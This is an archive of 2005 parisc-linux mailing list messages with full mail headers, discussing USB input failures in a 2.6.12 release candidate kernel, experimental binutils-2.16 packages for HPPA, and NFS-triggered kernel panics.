I tried 2.6.12-rc3-pa3 yesterday but the console keyboard and mouse
(usb) didn't respond after X came up.  I couldn't see any difference
in the log files between this version and 2.6.11-pa4.  2.6.11-pa4
boots ok.  Is this a known problem?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@there.is.no.cabal.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.12-rc3-pa3 usb keyboard and mouse don't respond
Date: Sun, 8 May 2005 13:27:45 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20050508172745.GG4694@roadwarrior.mcmartin.ca>
References: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623781 14519 80.91.229.3 (22 Nov 2014 02:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2005 17:29:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 08 May 2005 19:29:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43E957D639;
	Sun,  8 May 2005 11:29:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05587-07; Sun, 8 May 2005 11:29:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A53427D63B;
	Sun,  8 May 2005 11:29:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF1157D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 11:29:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05468-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 May 2005 11:29:29 -0600 (MDT)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 51BA87D627
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 11:29:29 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id AD42617050;
	Sun,  8 May 2005 13:29:23 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22021-04; Sun, 8 May 2005 13:29:12 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id C09671707B; Sun,  8 May 2005 13:29:12 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-1325935745-52656d6f746546617454697265-494e424f582e4f7574626f78: 1115573292-00251195905517-v4.0.8
Content-Disposition: inline
In-Reply-To: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3SkMYlI0eSEkd76WZHQhaXN1IGRvb4Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22705

On Sun, May 08, 2005 at 12:23:50PM -0400, John David Anglin wrote:
> I tried 2.6.12-rc3-pa3 yesterday but the console keyboard and mouse
> (usb) didn't respond after X came up.  I couldn't see any difference
> in the log files between this version and 2.6.11-pa4.  2.6.11-pa4
> boots ok.  Is this a known problem?
> 

I meant to look into this, but then got hit with finals and work. I'll
try to take a look today.

It appears to be a change in the OHCI driver. If you diff the dmesg
from 2.6.11-pa4 to anything later than 2.6.12-rc1 (iirc), a few
suspicious changes in what OHCI spews are revealed. (I believe it was
something about legacy i/o registers, or something). Just need a little
while to crawl through bkweb looking for changes there.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils-2.16 hppa packages
Date: Sun, 8 May 2005 21:07:52 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <17022.25480.700442.819535@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623782 14528 80.91.229.3 (22 Nov 2014 02:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2005 19:08:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 08 May 2005 21:08:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77B977D641;
	Sun,  8 May 2005 13:08:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06259-09; Sun, 8 May 2005 13:08:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8C857D635;
	Sun,  8 May 2005 13:08:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36E9F7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 13:08:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06259-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 May 2005 13:08:00 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 488EC7D419
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 13:08:00 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id VAA07917
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 May 2005 21:07:54 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 7FE5EFB5A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 21:07:53 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 05365-29 for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 21:07:53 +0200 (MEST) 15295
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 21:07:53 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j48J7qUj005243;
	Sun, 8 May 2005 21:07:52 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wgYMYiQSeSEkab6WZHQhaXN1IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22706

Experimental packages can be found at

  http://people.debian.org/~doko/binutils/

Feedback welcome.

    Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils-2.16 hppa packages
Date: Mon, 9 May 2005 09:34:44 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <426F252F000041E1@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623782 14536 80.91.229.3 (22 Nov 2014 02:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthias Klose" <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 May 2005 09:35:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 09 May 2005 11:35:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B2537D641;
	Mon,  9 May 2005 03:35:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11154-01; Mon, 9 May 2005 03:35:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C3C77D633;
	Mon,  9 May 2005 03:35:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8FE27D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 03:34:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10935-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 May 2005 03:34:58 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 4DE0A7D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 03:34:58 -0600 (MDT)
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DV4ez-00052e-LW; Mon, 09 May 2005 11:34:47 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Mon, 9 May 2005 11:34:44 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j0sNYuVjeSEkZr6WZHQhaXN1IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22707

Hello Matthias,

>Experimental packages can be found at
>
>  http://people.debian.org/~doko/binutils/
>
> Feedback welcome.

Just installed on a chroot disk to rebuild latest 2.6.12-rc4-pa0 on a b18=
0
Debian unstable installed.

No pb to build this kernel which boot fine on this system ;-)

(still have to stress the kernel but that's another story :-) )

I will also try to rebuild gcc-4.0 (4.0.0-6) on this system or do you hav=
e
some other better test to suggest?

Joel

PS: Sorry if that break the mail thread but I didn't recieved any m-l mai=
l
since a day :-(


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.6.12-rc3-pa3 usb keyboard and mouse don't respond
Date: Mon, 9 May 2005 10:18:58 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <426F252F00004256@mail-3-bnl.tiscali.it>
References: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623782 14547 80.91.229.3 (22 Nov 2014 02:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:22 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 May 2005 10:19:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 09 May 2005 12:19:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAF1A7D635;
	Mon,  9 May 2005 04:19:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11154-10; Mon, 9 May 2005 04:19:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6136D7D639;
	Mon,  9 May 2005 04:19:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD40A7D633
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 04:19:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11370-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 May 2005 04:19:06 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 34C527D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 04:19:06 -0600 (MDT)
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DV5Lm-0005xK-PT; Mon, 09 May 2005 12:19:00 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Mon, 9 May 2005 12:18:58 +0200
In-Reply-To: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: blwNYnECeSEkd76WZHQhaXN1IGRvbwCX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22708


> 
> I tried 2.6.12-rc3-pa3 yesterday but the console keyboard and mouse
> (usb) didn't respond after X came up.  I couldn't see any difference
> in the log files between this version and 2.6.11-pa4.  2.6.11-pa4
> boots ok.  Is this a known problem?
> 
Could it be linked to this related pb:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-March/026155.h=
tml>

I had to remove usb support to boot my b2k with 2.6.12-rc1 because of the=

re-work of usb api 
(looks like pci api change) but sorry I didn't find more time to track it=

down :-(

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NFS problems : kernel panic
Date: Thu, 12 May 2005 14:46:17 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20050512144617.5b3569d9.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0838917233=="
X-Trace: ger.gmane.org 1416623782 14558 80.91.229.3 (22 Nov 2014 02:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 12:46:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 12 May 2005 14:46:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 064DB7D627;
	Thu, 12 May 2005 06:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31834-01; Thu, 12 May 2005 06:46:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 945947D60D;
	Thu, 12 May 2005 06:46:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA7067D423
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 06:46:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30463-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 06:46:27 -0600 (MDT)
Original-Received: from av-tac-rtp.cisco.com (hen.cisco.com [64.102.19.198])
	by free.linux.hp.com (Postfix) with ESMTP id 3FE167D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 06:46:27 -0600 (MDT)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-rtp.cisco.com (8.11.7p1+Sun/8.11.7) with ESMTP id
	j4CCkKL28085 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 08:46:20 -0400 (EDT)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-158.cisco.com
	[144.254.7.158])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.11.7) with SMTP id
	j4CCkJK03773 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 14:46:19 +0200 (CEST)
X-Mailer: Sylpheed version 1.0.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ejXxYlFJeSEkYL6WZHQhaXN1IGRvb8Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22709

--===============0838917233==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Thu__12_May_2005_14_46_17_+0200_nTBTqXZEi+STk/_j"

--Signature=_Thu__12_May_2005_14_46_17_+0200_nTBTqXZEi+STk/_j
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


Hello guys,

Many users are reporting me problems with kernel after 2.6.10-pa11. I've
had the problem myself on both my C3600 and my B180L.
When you upload or download big files via NFS, the kernel crash with no
more message than :
Kernel panic - not syncing

The nfs share can be either udp or tcp. That doesn't matter.

Is this a know problem ? Is there a workaround (don't tell me samba :) ?

Feel free to ask if you want more info or if you want me to do some
tests.


Cheers

--=20
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team


--Signature=_Thu__12_May_2005_14_46_17_+0200_nTBTqXZEi+STk/_j
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFCg1AbrpShrnoH4YYRAsbWAKCHR1BDSlv+k0FgUAYoGqeACCXOZgCggd5s
Qf8s/A4SZxF2cbzXV8lNilA=
=ygt8
-----END PGP SIGNATURE-----

--Signature=_Thu__12_May_2005_14_46_17_+0200_nTBTqXZEi+STk/_j--

--===============0838917233==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0838917233==--



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NFS problems : kernel panic
Date: Thu, 12 May 2005 09:05:35 -0600
Lines: 39
